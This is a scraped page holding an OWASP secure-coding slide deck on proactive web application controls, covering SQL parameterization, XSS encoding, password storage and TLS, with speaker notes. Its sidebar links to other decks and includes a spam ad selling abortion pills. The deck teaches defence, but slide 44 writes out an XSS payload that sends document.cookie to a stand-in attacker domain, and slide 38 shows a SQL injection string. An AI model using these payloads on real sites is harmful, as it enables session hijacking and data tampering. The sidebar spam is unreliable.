Abusing bleeding edge web standards for appsec glory
Abusing bleeding edge web standards for appsec gloryAbusing bleeding edge web standards for appsec glory
Abusing bleeding edge web standards for appsec glory
 

Dernier

Histor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slideHistor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slide
vu2urc
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
?#DUbAI#??##{{(☎️+971_581248768%)**%*]'#abortion pills for sale in dubai@
 

Dernier (20)

Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt Robison
 
Tech Trends Report 2024 Future Today Institute.pdf
Tech Trends Report 2024 Future Today Institute.pdfTech Trends Report 2024 Future Today Institute.pdf
Tech Trends Report 2024 Future Today Institute.pdf
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processors
 
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
04-2024-HHUG-Sales-and-Marketing-Alignment.pptx
 
Developing An App To Navigate The Roads of Brazil
Developing An App To Navigate The Roads of BrazilDeveloping An App To Navigate The Roads of Brazil
Developing An App To Navigate The Roads of Brazil
 
A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)A Domino Admins Adventures (Engage 2024)
A Domino Admins Adventures (Engage 2024)
 
Histor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slideHistor y of HAM Radio presentation slide
Histor y of HAM Radio presentation slide
 
HTML Injection Attacks: Impact and Mitigation Strategies
HTML Injection Attacks: Impact and Mitigation StrategiesHTML Injection Attacks: Impact and Mitigation Strategies
HTML Injection Attacks: Impact and Mitigation Strategies
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
Scaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organizationScaling API-first – The story of a global engineering organization
Scaling API-first – The story of a global engineering organization
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 
AWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of Terraform
 
A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?A Year of the Servo Reboot: Where Are We Now?
A Year of the Servo Reboot: Where Are We Now?
 
Real Time Object Detection Using Open CV
Real Time Object Detection Using Open CVReal Time Object Detection Using Open CV
Real Time Object Detection Using Open CV
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdf
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Script
 
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...Workshop - Best of Both Worlds_ Combine  KG and Vector search for  enhanced R...
Workshop - Best of Both Worlds_ Combine KG and Vector search for enhanced R...
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘
 
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data DiscoveryTrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
TrustArc Webinar - Unlock the Power of AI-Driven Data Discovery
 

Top Ten Proactive Web Security Controls v5

  • 1. Top Ten Proactive Web Application Controls
  • 2. Jim Manico @manicode OWASP Volunteer - Global OWASP Board Member - OWASP Cheat-Sheet Series, Top Ten Proactive Controls, OWASP Java Encoder and HTML Sanitizer Project Manager and Contributor Secure-Coding Instructor/Author - 16 years of web-based, databasedriven software development and analysis experience - Working on a Java Security book with McGraw-Hill and Oracle Press! Kama'aina Resident of Kauai, Hawaii - Aloha! - Unofficial resident of OC
  • 3. WARNING THIS IS AN AWARENESS DOCUMENT. THERE ARE MORE THAN 10 ISSUES. “YOU CANNOT BASE AN APPSEC PROGRAM OFF OF A TOP TEN LIST.” – Hoffs Law
  • 4.
  • 6. Security Architecture and Design Strategic effort Business, technical and security stakeholders agree on both the functional and non-functional security properties of software well before it is built. Example: state Should you use the request and hidden parameters? Should you use a web session? Should you use the database? These decisions have dramatic security implications
  • 7. Comments from the Field : Jim Bird • Must discuss tiering and trust. Deciding what is done in the UI, the web layer, the business layer, the data layer, and introducing trust zones/boundaries into this. • What is inside/outside of a trust zone/boundary, what sources can be trusted, what cannot be. • Specific controls need to exist at certain layers. • Attack Surface also comes into architecture/design.
  • 9. Security Requirements (SDLC) Functional requirements Visible and Q/A testable feature in the application Forgot password workflow Re-authentication during change password Non functional requirements “Invisible” quality aspects of software Not easily testable by Q/A staff Query Parameterization Password Storage Crypto
  • 10. Comments from the Field : Jim Bird • Need to add business logic requirements, a much more difficult task • What happens if a step fails or is skipped or is replayed/repeated? • Just thinking about errors and edge cases will close a lot of holes. (Well….) • Need to add privacy requirements, especially in Europe (Not so much in the US. Cough.)
  • 11. Leverage Security Features of Frameworks and Security Libraries
  • 12. Apache SHIRO http://shiro.apache.org/ • Apache Shiro is a powerful and easy to use Java security framework. • Offers developers an intuitive yet comprehensive solution to authentication, authorization, cryptography, and session management. • Built on sound interface-driven design and OO principles. • Enables custom behavior. • Sensible and secure defaults for everything.
  • 13. Google KeyCzar https://code.google.com/p/keyczar/ • • • • A simple applied crypto API Key rotation and versioning Safe default algorithms, modes, and key lengths Automated generation of initialization vectors and ciphertext signatures • Java implementation • Supports Python, C++ and Java
  • 15. OWASP Java Encoder Project https://www.owasp.org/index.php/OWASP_Java_Encoder_Project • No third party libraries or configuration necessary • This code was designed for high-availability/highperformance encoding functionality • Simple drop-in encoding functionality • Redesigned for performance • More complete API (uri and uri component encoding, etc) in some regards. • Java 1.5+ • Last updated February 14, 2013 (version 1.1)
  • 16. OWASP HTML Sanitizer Project https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project • HTML Sanitizer written in Java which lets you include HTML authored by third-parties in your web application while protecting against XSS. • This code was written with security best practices in mind, has an extensive test suite, and has undergone adversarial security review https://code.google.com/p/owasp-java-html-sanitizer/wiki/AttackReviewG . • Very easy to use. • It allows for simple programmatic POSITIVE policy configuration. No XML config. • Actively maintained by Mike Samuel from Google's AppSec team! • This is code from the Caja project that was donated by Google. It is rather high performance and low memory utilization.
  • 17. Secure Software Dev Strategy • Building YOUR Software Security Framework • Leverage Existing Secure Coding Libraries • Using, Mastering and Modifying security characteristics of software frameworks • Developer Security Education around your security frameworks • Secure Coding Standards around your framework • Threat Modeling around your framework • KEEP YOUR FRAMEWORKS UPDATED (T10A9)
  • 19. Password Defenses Disable Browser Autocomplete <form AUTOCOMPLETE="off"> <input AUTOCOMPLETE="off"> Only send passwords over HTTPS POST Do not display passwords in browser Input type=password Store password based on need Use a salt (de-duplication) SCRYPT/PBKDF2 (slow, performance hit, easy) HMAC (requires good key storage, tough)
  • 20. Password Storage in the Real World 1) Do not limit the type of characters or length of user password • Limiting passwords to protect against injection is doomed to failure • Use proper encoder and other defenses described instead • Be wary of systems that allow unlimited password sizes (Django DOS Sept 2003)
  • 21. Password Storage in the Real World 2) Use a cryptographically strong credential-specific salt •protect( [salt] + [password] ); •Use a 32char or 64char salt (actual size dependent on protection function); •Do not depend on hiding, splitting, or otherwise obscuring the salt
  • 22. Leverage Keyed Functions 3a) Impose difficult verification on [only] the attacker (strong/fast) •HMAC-SHA-256( [private key], [salt] + [password] ) •Protect this key as any private key using best practices •Store the key outside the credential store •Build the password-to-hash conversion as a separate webservice (cryptograpic isolation).
  • 23. Password Storage in the Real World 3b) Impose difficult verification on the attacker and defender (weak/slow)   •PBKDF2([salt] + [password], c=10,000,000);  •Use PBKDF2 when FIPS certification or  enterprise support on many platforms is required •Use Scrypt where resisting any/all hardware  accelerated attacks is necessary but enterprise  support and scale is not. 
  • 25. Multi Factor Authentication Google, Facebook, PayPal, Apple, AWS, Dropbox, Twitter Blizzard's Battle.Net, Valve's Steam, Yahoo
  • 26. Forgot Password Secure Design Require identity questions Last name, account number, email, DOB Enforce lockout policy Ask one or more good security questions https://www.owasp.org/index.php/Choosing_and_Using_Security_ Questions_Cheat_Sheet Send the user a randomly generated token via out-of-band email, SMS or token Verify code in same web session Enforce lockout policy Change password Enforce password policy
  • 28. Cheating • • • • Authentication Cheat Sheet Password Storage Cheat Sheet Forgot Password Cheat Sheet Session Management Cheat Sheet • Obviously, identity is a BIG topic. 28
  • 30. Access Control Anti-Patterns • • • • • Hard-coded role checks in application code Lack of centralized access control logic Untrusted data driving access control decisions Access control that is “open by default” Lack of addressing horizontal access control in a standardized way (if at all) • Access control logic that needs to be manually added to every endpoint in code • Access Control that is “sticky” per session • Access Control that requires per-user policy © 2013 WhiteHat Security, Inc
  • 31. Most Coders Hard-Code Roles in Code if ( user.isRole( "JEDI" ) || if ( user.isRole( "JEDI" ) || user.isRole( "PADWAN" ) || user.isRole( "PADWAN" ) || user.isRole( "SITH_LORD" ) || user.isRole( "SITH_LORD" ) || user.isRole( "JEDI_KILLING_CYBORG" ) user.isRole( "JEDI_KILLING_CYBORG" ) ) { ) { log.info("You may use a lightsaber ring. Use it wisely."); log.info("You may use a lightsaber ring. Use it wisely."); } else { } else { log.info("Lightsaber rings are for schwartz masters."); log.info("Lightsaber rings are for schwartz masters."); } }
  • 32. Solving Real World Access Control Problems with the Apache Shiro The Problem The Problem Web Application needs secure access control mechanism Web Application needs secure access control mechanism The Solution The Solution if ( currentUser.isPermitted( "lightsaber:wield" ) ) { if ( currentUser.isPermitted( "lightsaber:wield" ) ) { log.info("You may use a lightsaber ring. Use it wisely."); log.info("You may use a lightsaber ring. Use it wisely."); } else { } else { log.info("Sorry, lightsaber rings are for schwartz masters only."); log.info("Sorry, lightsaber rings are for schwartz masters only."); } }
  • 33. Solving Real World Access Control Problems with the Apache Shiro The Problem The Problem Web Application needs to secure access to aaspecific object Web Application needs to secure access to specific object The Solution The Solution int winnebagoId = request.getInt("winnebago_id"); int winnebagoId = request.getInt("winnebago_id"); if ( currentUser.isPermitted( "winnebago:drive:" + winnebagoId) ) { if ( currentUser.isPermitted( "winnebago:drive:" + winnebagoId) ) { log.info("You are permitted to 'drive' the 'winnebago’. Here are the keys."); log.info("You are permitted to 'drive' the 'winnebago’. Here are the keys."); } else { } else { log.info("Sorry, you aren't allowed to drive this winnebago!"); log.info("Sorry, you aren't allowed to drive this winnebago!"); } }
  • 34. Content Security Policy • Anti-XSS W3C standard http://www.w3.org/TR/CSP/  • Move all inline script and style into external files • Add the X-Content-Security-Policy response header to  instruct the browser that CSP is in use • The CSP Script-Hash and/or Script-nonce directive lets you  set up integrity checks for existing inline static JavaScript  (this is amazing and is not talked about enough). • Define a policy for the site regarding loading of content • Chrome version 25 and later (50%) • Firefox version 23 and later (30%) • Internet Explorer version 10 and later (10%)
  • 36. ';
  • 37. Anatomy of a SQL Injection Attack $NEW_EMAIL = Request['new_email']; update users set email='$NEW_EMAIL' where id=132005;
  • 38. Anatomy of a SQL Injection Attack 1. SUPER AWESOME HACK: $NEW_EMAIL = '; 2. update users set email='$NEW_EMAIL' where id=132005; 3. update users set email='';' where id=132005;
  • 39. Query Parameterization (PHP PDO) $stmt = $dbh->prepare(”update users set email=:new_email where id=:user_id”); $stmt->bindParam(':new_email', $email); $stmt->bindParam(':user_id', $id);
  • 40. Query Parameterization (.NET) SqlConnection objConnection = new SqlConnection(_ConnectionString); objConnection.Open(); SqlCommand objCommand = new SqlCommand( "SELECT * FROM User WHERE Name = @Name AND Password = @Password", objConnection); objCommand.Parameters.Add("@Name", NameTextBox.Text); objCommand.Parameters.Add("@Password", PassTextBox.Text); SqlDataReader objReader = objCommand.ExecuteReader();
  • 41. Query Parameterization (Java) String newName = request.getParameter("newName"); String id = request.getParameter("id"); //SQL PreparedStatement pstmt = con.prepareStatement("UPDATE EMPLOYEES SET NAME = ? WHERE ID = ?"); pstmt.setString(1, newName); pstmt.setString(2, id); //HQL Query safeHQLQuery = session.createQuery("from Employees where id=:empId"); safeHQLQuery.setParameter("empId", id);
  • 42. Query Parameterization (PERL DBI) my $sql = "INSERT INTO foo (bar, baz) VALUES ( ?, ? )"; my $sth = $dbh->prepare( $sql ); $sth->execute( $bar, $baz );
  • 44. Anatomy of a XSS Attack <script > var badURL=‘https://evileviljim.com/somesit e/data=‘ + document.cookie; var img = new Image(); img.src = badURL; </script> <script>document.body.innerHTML=‘<blink >CYBER IS COOL</blink>’;</script>
  • 45. Contextual Output Encoding (XSS Defense) – Session Hijacking – Site Defacement – Network Scanning – Undermining CSRF Defenses – Site Redirection/Phishing – Load of Remotely Hosted Scripts – Data Theft – Keystroke Logging – Attackers using XSS more frequently
  • 46. XSS Defense by Data Type and Context Data Type Context Defense String HTML Body HTML Entity Encode String HTML Attribute Minimal Attribute Encoding String GET Parameter URL Encoding String Untrusted URL URL Validation, avoid javascript: URLs, Attribute encoding, safe URL verification String CSS Strict structural validation, CSS Hex encoding, good design HTML HTML Body HTML Validation (JSoup, AntiSamy, HTML Sanitizer) Any DOM DOM XSS Cheat Sheet Untrusted JavaScript Any Sandboxing JSON Client Parse Time JSON.parse() or json2.js Safe HTML Attributes include: align, alink, alt, bgcolor, border, cellpadding, cellspacing, class, color, cols, colspan, coords, dir, face, height, hspace, ismap, lang, marginheight, marginwidth, multiple, nohref, noresize, noshade, nowrap, ref, rel, rev, rows, rowspan, scrolling, shape, span, summary, tabindex, title, usemap, valign, value, vlink, vspace, width
  • 47. <
  • 48. &lt;
  • 49. OWASP Java Encoder Project https://www.owasp.org/index.php/OWASP_Java_Encoder_Project • No third party libraries or configuration necessary • This code was designed for high-availability/highperformance encoding functionality • Simple drop-in encoding functionality • Redesigned for performance • More complete API (uri and uri component encoding, etc) in some regards. • Java 1.5+ • Last updated February 14, 2013 (version 1.1)
  • 50. OWASP Java Encoder Project https://www.owasp.org/index.php/OWASP_Java_Encoder_Project The Problem The Problem Web Page built in Java JSP is vulnerable to XSS Web Page built in Java JSP is vulnerable to XSS The Solution The Solution 1) <input type="text" name="data" value="<%= Encode.forHtmlAttribute(dataValue) %>" /> 1) <input type="text" name="data" value="<%= Encode.forHtmlAttribute(dataValue) %>" /> 2) <textarea name="text"><%= Encode.forHtmlContent(textValue) %></textarea> 2) <textarea name="text"><%= Encode.forHtmlContent(textValue) %></textarea> 3) <button 3) <button onclick="alert('<%= Encode.forJavaScriptAttribute(alertMsg) %>');"> onclick="alert('<%= Encode.forJavaScriptAttribute(alertMsg) %>');"> click me click me </button> </button> 4) <script type="text/javascript"> 4) <script type="text/javascript"> var msg = "<%= Encode.forJavaScriptBlock(message) %>"; var msg = "<%= Encode.forJavaScriptBlock(message) %>"; alert(msg); alert(msg); </script> </script>
  • 51. OWASP Java Encoder Project https://www.owasp.org/index.php/OWASP_Java_Encoder_Project HTML Contexts Encode#forHtmlContent(String) Encode#forHtmlAttribute(String) Encode#forHtmlUnquotedAttribute (String) XML Contexts Encode#forXml(String) Encode#forXmlContent(String) Encode#forXmlAttribute(String) Encode#forXmlComment(String) Encode#forCDATA(String) CSS Contexts Encode#forCssString(String) Encode#forCssUrl(String) JavaScript Contexts Encode#forJavaScript(String) Encode#forJavaScriptAttribute(String) Encode#forJavaScriptBlock(String) Encode#forJavaScriptSource(String) URI/URL contexts Encode#forUri(String) Encode#forUriComponent(String)
  • 52. OWASP Java Encoder Project https://www.owasp.org/index.php/OWASP_Java_Encoder_Project <script src="/my-server-side-generated-script"> <script src="/my-server-side-generated-script"> class MyServerSideGeneratedScript extends HttpServlet {{ class MyServerSideGeneratedScript extends HttpServlet void doGet(blah) {{ void doGet(blah) response.setContentType("text/javascript; charset=UTF-8"); response.setContentType("text/javascript; charset=UTF-8"); PrintWriter w = response.getWriter(); w.println("function() {"); PrintWriter w = response.getWriter(); w.println("function() {"); w.println(" alert('" + Encode.forJavaScriptSource(theTextToAlert) + w.println(" alert('" + Encode.forJavaScriptSource(theTextToAlert) + "');"); "');"); w.println("}"); w.println("}"); }} }}
  • 53. Other Encoding Libraries • Ruby on Rails – http://api.rubyonrails.org/classes/ERB/Util.html • Reform Project – Java, .NET v1/v2, PHP, Python, Perl, JavaScript, Classic ASP – https://www.owasp.org/index.php/ Category:OWASP_Encoding_Project • ESAPI – PHP.NET, Python, Classic ASP, Cold Fusion – https://www.owasp.org/index.php/ Category:OWASP_Enterprise_Security_API • .NET AntiXSS Library – http://wpl.codeplex.com/releases/view/80289
  • 55.
  • 56. OWASP HTML Sanitizer Project https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project • HTML Sanitizer written in Java which lets you include HTML authored by third-parties in your web application while protecting against XSS. • This code was written with security best practices in mind, has an extensive test suite, and has undergone adversarial security review https://code.google.com/p/owasp-java-html-sanitizer/wiki/AttackR . • Very easy to use. • It allows for simple programmatic POSITIVE policy configuration. No XML config. • Actively maintained by Mike Samuel from Google's AppSec team! • This is code from the Caja project that was donated by Google. It is rather high performance and low memory OWASP utilization.
  • 57. Solving Real World Problems with the OWASP HTML Sanitizer Project The Problem The Problem Web Page is vulnerable to XSS because of untrusted HTML Web Page is vulnerable to XSS because of untrusted HTML The Solution The Solution PolicyFactory policy = new HtmlPolicyBuilder() PolicyFactory policy = new HtmlPolicyBuilder() .allowElements("a") .allowElements("a") .allowUrlProtocols("https") .allowUrlProtocols("https") .allowAttributes("href").onElements("a") .allowAttributes("href").onElements("a") .requireRelNofollowOnLinks() .requireRelNofollowOnLinks() .build(); .build(); String safeHTML = policy.sanitize(untrustedHTML); String safeHTML = policy.sanitize(untrustedHTML);
  • 59. File Upload Security • • • • • Upload Verification – Filename and Size validation + antivirus Upload Storage – Use only trusted filenames + separate domain Beware of "special" files – "crossdomain.xml" or "clientaccesspolicy.xml". Image Upload Verification – Enforce proper image size limits – Use image rewriting libraries – Set the extension of the stored image to be a valid image extension – Ensure the detected content type of the image is safe Generic Upload Verification – Ensure decompressed size of file < maximum size – Ensure that an uploaded archive matches the type expected (zip, rar) – Ensure structured uploads such as an add-on follow proper standard
  • 60. Comments from the Field: Jim Bird • Bird: The point on treating all client side data as untrusted is important, and can be tied back to trust zones/boundaries in design/architecture. • Manico: Ideally I like to consider all tiers to be untrusted and build controls at all layers, but this is not practical or even possible for some very large systems. 60
  • 62. Encryption in Transit (HTTPS/TLS) • HTTPS – Hypertext Transfer Protocol Secure! • What benefits do HTTPS provide? – Confidentiality, Integrity and Authenticity – Confidentiality: Spy cannot view your data – Integrity: Spy cannot change your data – Authenticity: Server you are visiting is the right one
  • 63. Encryption in Transit (HTTPS/TLS) • When should TLS be used? – Authentication credentials and session identifiers must be encrypted in transit via HTTPS/SSL – Starting when the login form is rendered until logout is complete • HTTPS configuration best practices – https://www.owasp.org/index.php/Transport_Lay er_Protection_Cheat_Sheet – https://www.ssllabs.com/projects/best-practices/
  • 64. Fixing the TLS and the Certificate Authority System • HSTS (Strict Transport Security) – http://www.youtube.com/watch?v=zEV3HOuM_Vw – Strict-Transport-Security: max-age=31536000 – CAN HARM PRIVACY. Wildcard certs must require includeSubDomains (wut up Rsnake) • Browser Certificate Pruning (Etsy/Zane Lackey) – http://codeascraft.com/2013/07/16/reducing-the-roots-of-some-evil/ • Certificate Pinning – https://www.owasp.org/index.php/Pinning_Cheat_Sheet • Certificate Creation Transparency – http://certificate-transparency.org
  • 65. HSTS – Strict Transport Security • HSTS (Strict Transport Security) –Strict-Transport-Security: max-age=31536000; includeSubDomains • Forces browser to only make HTTPS connections to webserver •Header must be initially delivered over a HTTPS connection •You can request that Chromium preloads your websites HSTS headers by default •http://dev.chromium.org/sts
  • 66. Certificate Pinning • What is Certificate Pinning? – Pinning is a key continuity scheme – Detect when an imposter with a fake but CA validated certificate attempts to act like the real server – 2 Types of pinning • Carry around a copy of the server’s public key – Great if you are distributing a dedicated client-server application since you know the server’s certificate or public key in advance • Note of the server’s public key on first use – Trust-on-First-Use, Tofu – Useful when no a priori knowledge exists, such as SSH or a Browser • https://www.owasp.org/index.php/Pinning_Cheat_Sheet
  • 67. AES
  • 71. unique IV per message
  • 73. key storage and management + cryptographic process isolation
  • 77. derive integrity and confidentiality keys from same master key with labeling
  • 78. don’t forget to generate a master key from a good random source
  • 79.
  • 80. Solving Real World Crypto Storage Problems With Google KeyCzar The Problem The Problem Web Application needs to encrypt and decrypt sensitive data Web Application needs to encrypt and decrypt sensitive data The Solution The Solution Crypter crypter = new Crypter("/path/to/your/keys"); Crypter crypter = new Crypter("/path/to/your/keys"); String ciphertext = crypter.encrypt("Secret message"); String ciphertext = crypter.encrypt("Secret message"); String plaintext = crypter.decrypt(ciphertext); String plaintext = crypter.decrypt(ciphertext); Keyczar is an open source cryptographic toolkit for Java Designed to make it easier and safer for developers to use cryptography in their applications. •A simple API •Key rotation and versioning •Safe default algorithms, modes, and key lengths •Automated generation of initialization vectors and ciphertext signatures •Java implementation •Inferior Python and C++ support because Java is way cooler
  • 81. Error Handling, Logging and Intrusion Detection
  • 82. App Layer Intrusion Detection • Great detection points to start with – Input validation failure server side when client side validation exists – Input validation failure server side on non-user editable parameters such as hidden fields, checkboxes, radio buttons or select lists – Forced browsing to common attack entry points – Honeypot URL (e.g. a fake path listed in robots.txt like e.g. /admin/secretlogin.jsp)
  • 83. App Layer Intrusion Detection • Others – Blatant SQLi or XSS injection attacks – Workflow sequence abuse (e.g. multi-part form in wrong order) – Custom business logic (e.g. basket vs catalogue price mismatch) – Further Study: • “libinjection: from SQLi to XSS” – Nick Galbreath • “Attack Driven Defense” – Zane Lackey
  • 84. OWASP AppSensor (Java) • Project and mailing list https://www.owasp.org/index.php/OWASP_ AppSensor_Project • Four-page briefing, Crosstalk, Journal of Defense Software Engineering • http://www.crosstalkonline.org/storage/issue -archives/2011/201109/201109-Watson.pdf

Notes de l'éditeur

  1. Creating an awareness of the system’s Attack Surface, trying to minimize it where possible, understanding when/how you are increasing it and understanding that this increases the risks of attack. For example, anonymous public access to the system, file uploads and interfaces to external systems are all potentially serious sources of security risk. Platform selection: language(s), O/S, web server, database or NOSQL data manager, etc. These architectural choices result in technology-specific security risks and constraints that the team needs to learn about and understand. Know your tools.
  2. Business logic requirement Multi-step multi-branch workflow Unable to test properly unless you understand the business Can often be very complex and difficult to test completely
  3. Guidance   Do not defeat users’ attempts to secure their credentialslimit type of characters or length of user passwords Some organizations restrict the 1) types of special characters and 2) length of credentials accepted by systems because of their inability to prevent SQL Injection, Cross-site scripting, and analogous command-injection attacks. However, secure password storage mechanisms possess design elements that prevent length, constituency, and even encoding from subverting system security. Do not apply length, character set, or encoding restrictions on the entry or storage of credentials. Continue applying encoding, escaping, masking, outright omission, and other best practices to rendering this information when applicable.   
  4. Salts serve two purposes: De-duplicate protected output of identical credentials and Augment entropy fed to protecting function without relying on credential complexity. The second aims to make pre-computed lookup attacks [*2] on an individual credential and time-based attacks on a population intractable.
  5. HMACs inherit properties of hash functions including their speed, allowing for near instant verification. Key size imposes intractable size- and/or space- requirements on compromise--even for common credentials (aka password = ‘password’). Designers protecting stored credentials with keyed functions:   Use a single “site-wide” key;   Protect this key as any private key using best practices; Store the key outside the credential store (aka: not in the database); Generate the key using cryptographically-strong pseudo-random data; Do not worry about output block size (i.e. SHA-256 vs. SHA-512). Example protect() pseudo-code follows: return [salt] + HMAC-SHA-256([key], [salt] + [credential]);   Upholding security improvement over (solely) salted schemes relies on proper key management.   Design protection/verification for compromise The frequency and ease with which threats steal protected credentials demands “design for failure”. having detected theft, a credential storage scheme must support continued operation by marking credential data compromised and engaging alternative credential validation workflows as follows:   Protect the user’s account Invalidate authN ‘shortcuts’ disallowing login without 2nd factors or secret questions Disallow changes to account (secret questions, out of band exchange channel setup/selection, etc.) Load &amp; use new protection scheme Load a new (stronger) protect(credential) function Include version information stored with form Set ‘tainted’/‘compromised’ bit until user resets credentials Rotate any keys and/or adjust protection function parameters (iter count) Increment scheme version number When user logs in: Validate credentials based on stored version (old or new); if old demand 2nd factor or secret answers Prompt user for credential change, apologize, &amp; conduct OOB confirmation Convert stored credentials to new scheme as user successfully log in   Supporting workflow outlined above requires tight integration with Authentication frameworks and workflows. http://www.tarsnap.com/scrypt/scrypt.pdf  
  6. Impose intractable verification on [only] attacker The function used to protect stored credentials should balance between A) acceptable response time for verification of users’ credentials during peak use while B) placing time required to map &lt;credential&gt; → &lt;protected form&gt;  beyond threats’ hardware (GPU, FPGA) and technique (dictionary-based, brute force, etc) capabilities. Two approaches facilitate this, each imperfectly. Leverage an adaptive one-way function - Adaptive one-way functions compute a one-way (irreversible) transform. Each function allows configuration of ‘work factor’. Underlying mechanisms used to achieve irreversibility and govern work factors (such as time, space, and parallelism) vary between functions and remain unimportant to this discussion. Select:   PBKDF2 [*4] when FIPS certification or enterprise support on many platforms is required; Scrypt [*5] where resisting any/all hardware accelerated attacks is necessary but support isn’t. Example protect() pseudo-code follows: return [salt] + pbkdf2([salt], [credential], c=10000);   Designers select one-way adaptive functions to implement protect() because these functions can be configured to cost (linearly or exponentially) more than a hash function to execute. Defenders adjust work factor to keep pace with threats’ increasing hardware capabilities. Those implementing adaptive one-way functions must tune work factors so as to impede attackers while providing acceptable user experience and scale. Additionally, adaptive one-way functions do not effectively prevent reversal of common dictionary-based credentials (users with password ‘password’) regardless of user population size or salt usage.   Leverage Keyed functions - Keyed functions, such as HMACs, compute a one-way (irreversible) transform using a private key and given input. For example, HMACs inherit properties of hash functions including their speed, allowing for near instant verification. Key size imposes intractable size- and/or space- requirements on compromise--even for common credentials (aka password = ‘password’). Designers protecting stored credentials with keyed functions:   Use a single “site-wide” key;   Protect this key as any private key using best practices; Store the key outside the credential store (aka: not in the database); Generate the key using cryptographically-strong pseudo-random data; Do not worry about output block size (i.e. SHA-256 vs. SHA-512). Example protect() pseudo-code follows: return [salt] + HMAC-SHA-256([key], [salt] + [credential]);   Upholding security improvement over (solely) salted schemes relies on proper key management.   Design protection/verification for compromise The frequency and ease with which threats steal protected credentials demands “design for failure”. having detected theft, a credential storage scheme must support continued operation by marking credential data compromised and engaging alternative credential validation workflows as follows:   Protect the user’s account Invalidate authN ‘shortcuts’ disallowing login without 2nd factors or secret questions Disallow changes to account (secret questions, out of band exchange channel setup/selection, etc.) Load &amp; use new protection scheme Load a new (stronger) protect(credential) function Include version information stored with form Set ‘tainted’/‘compromised’ bit until user resets credentials Rotate any keys and/or adjust protection function parameters (iter count) Increment scheme version number When user logs in: Validate credentials based on stored version (old or new); if old demand 2nd factor or secret answers Prompt user for credential change, apologize, &amp; conduct OOB confirmation Convert stored credentials to new scheme as user successfully log in   Supporting workflow outlined above requires tight integration with Authentication frameworks and workflows. http://www.tarsnap.com/scrypt/scrypt.pdf  
  7. &gt; Also, SMS can be defeated a number of ways, fro SIM swop fraud &gt; (http://financialcryptography.com/mt/archives/001349.html), to Zitmo&apos;s &gt; patching at the kernel (SMS is sent/received via the socket API), to &gt; simply being the highest priority receiver and swallowing the SMS on &gt; Android (https://groups.google.com/d/msg/android-security-discuss/TURchbIN_LE/8x69SeMF7eQJ). So it reduces risk but is not full proof. Hi Jim, Below is the reference for the statement that US banks suffer fraud at 600x the rate of a DE bank. It&apos;s from Gutmann&apos;s Engineering Security (www.cs.auckland.ac.nz/~pgut001/pubs/book.pdf‎), page 542. The effect of different banks’ attitudes towards password security (and security in general) is shown in phishing loss figures, with losses in the UK, which has traditionally used straight passwords, being eight times higher than in Germany, which used to use TANs and has since moved on to even stronger measures. Similar sorts of figures are given in a comparison of US and Asian banks, who use (real) two-factor authentication, perform comprehensive analyses of electronic crime incidents, and in general are concerned about their reputation and image and are prepared to invest extra effort to protect them. For example one Japanese bank maintains multiple independent security-audit/assessment teams, often using two or more teams to check a particular system, with the different teams acting as a cross-check on each others’ performance. The bank’s security people plant known vulnerabilities in order to verify that their auditing teams are catching things, and rate each team’s performance against that of the others. At the end of the year the lowest-performing team for that year gets reassigned to other work, and new auditors/assessors are brought in to replace them. The losses due to electronic crime like phishing and malware for these banks is twenty-five times lower than for equivalent US banks [100]. In contrast in the US, where banks not only use straight passwords but as previous chapters have pointed out actively train their customers to become phishing victims, phishing losses are a staggering six hundred times higher than in Germany [101].
  8. Other problems : what else is wrong with this code?
